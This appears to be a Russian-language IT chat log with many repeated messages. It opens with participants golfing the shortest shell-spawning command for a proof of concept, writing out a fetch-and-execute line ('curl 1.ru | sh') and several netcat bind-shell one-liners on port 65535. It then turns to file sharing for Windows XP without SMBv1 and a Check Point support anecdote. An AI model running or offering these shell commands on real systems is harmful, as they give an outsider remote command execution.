плюс два байта адреса и вызов функции, не влезает, короче

О, идея! -1 как порт

слушает на порту 65535

curl 1.ru | sh

хм, логично

Но нужен короткий домен

А они все зареганы

Ну почти

Мне для poc надо было, так что nc в 18 байт удобнее

Размышляете, что можно в 24 символа вызвать?

Ага

на самом деле в 19

nc -l 1024 -esh

15

Не сойдет?

Не сойдет?

Неа. Exec sh failed

полный путь нужен

А, sh нет в path

там напрямую execve("sh"...

а какой нить $SHELL сожрет ?

а какой нить $SHELL сожрет ?

так длиннее выйдет

пощему, на один байт меньше же

пощему, на один байт меньше же

Через пробел надо

Пробел не нужен, ща попробую

Не, не сожрало

а запуск от рута? если да — можно на более низкий порт сесть

Имхо, -1 достаточно

Можно ещё байт сэкономить, но это нереалистично

Имхо, -1 достаточно

-1 сработает?

У меня работает

Как?

Можно команду?

nc -lp-1 -e/bin/sh

Висит на 65535

Если взять -9, будет на 65527

Версия nc?

v1.10-41+b1

Ещё метод - 3 байта по имени сервиса

v1.10-41+b1

OpenBSDшный что ли?

Д

В GNU Netcat такое не прокатывает

Зато там есть опция -r

Там -e нет

Которая посадит на рандом порт

Там -e нет

есть

Хм

nc -lre /bin/sh?

такое прокатит?

У меня прокатывает

Но подбирать порт будет весело

Зато 15 байт

Ага

у меня есть однобуквенник, но он не rfc шный и не отовсюду доступен

у меня есть однобуквенник, но он не rfc шный и не отовсюду доступен

Это как?

регистратор дал регнуть однобуквенник с '-', но это не всеми и везде поддерживается

Круто

А кто это поддерживает?

я уже точно не помню, надо его перепривязать куда нибудь с винды, фф домен доступен, пинг пингует, хром в такой домен не умел

у меня идея была проверить сервисы на всякие баги с парсингом дефиса, так его и регнул, но руки до тестов так и не дошли

@XorJaneDoe и зачем удалила? ?

Ех, а подскажите, как наиболее безопасно сделать файловую шару для мамонтов в виде винды ХР? Виндовая шара не пашет, ибо SMBv1 отключена, а ХР других версий не умеет. Линупсовую отдельную самбу поставить канеш можно, но требуется гибкость неебическая, ибо там десятки групп доступа и охуительная структура папок. ?

как бы товарищи сейчас сидят на Novell ?

Ех, а подскажите, как наиболее безопасно сделать файловую шару для мамонтов в виде винды ХР? Виндовая шара не пашет, ибо SMBv1 отключена, а ХР других версий не умеет. Линупсовую отдельную самбу поставить канеш можно, но требуется гибкость неебическая, ибо там десятки групп доступа и охуительная структура папок. ?

А обновиться до 7 нельзя?

А обновиться до 7 нельзя?

именно что нельзя, некогда, люди бабло зарабатывают, нельзя мешать

Ех, а подскажите, как наиболее безопасно сделать файловую шару для мамонтов в виде винды ХР? Виндовая шара не пашет, ибо SMBv1 отключена, а ХР других версий не умеет. Линупсовую отдельную самбу поставить канеш можно, но требуется гибкость неебическая, ибо там десятки групп доступа и охуительная структура папок. ?

FTP ;)

FTP ;)

совсем не гибко в админке, да и не так уж удобно

а со сторонним клиентом SFTP

там реально таблица из 50+ строк и может быть больше, то есть куча вложенностей с группами и ограничениями

будто ты на виндовой SMB шаре с глубокой структурой не задалбываешься разрешения прописывать, особенно если не везде наследование в полном виде

будто ты на виндовой SMB шаре с глубокой структурой не задалбываешься разрешения прописывать, особенно если не везде наследование в полном виде

ну там эту задачу проще делегировать обезьянкам и в целом достаточно наглядно (особенно на 2012R2)

и блять виндовая хороша дедупликацией в пакете

я бы им на отъебись поставил NAS сраный любой, но быстро купить мы его не можем

profftpd какойнить в целом тоже нагляден :) один раз посмотрел примеры конфигов и норм. какая разница что "обезьянкам" корячить

Хм, впервые Checkpoint мне позвонил по тикету на русском. ? Чот санкции животворящие прокачивают поддержку)

Хм, впервые Checkpoint мне позвонил по тикету на русском. ? Чот санкции животворящие прокачивают поддержку)

Ну, русскоговорящие инженеры там были давно. Года 2 назад точно. Вот только не на телефоне сидели ))

Ну, русскоговорящие инженеры там были давно. Года 2 назад точно. Вот только не на телефоне сидели ))

Они не отвечали по русски в чате принципиально

Русские ФИО, но говорить только на engrish

Да, надо было звонить и просить голосом русскоговорящего чела.

Эх, все-таки винду с первой самбой :D

кхм, не поверишь, гуглил долго и всюду писалось, что ХР только с 1 работает

кхм, не поверишь, гуглил долго и всюду писалось, что ХР только с 1 работает

Пытался поднять как-то вторую самбу на хп. Безрезультатно. Но МБ это уже пофиксили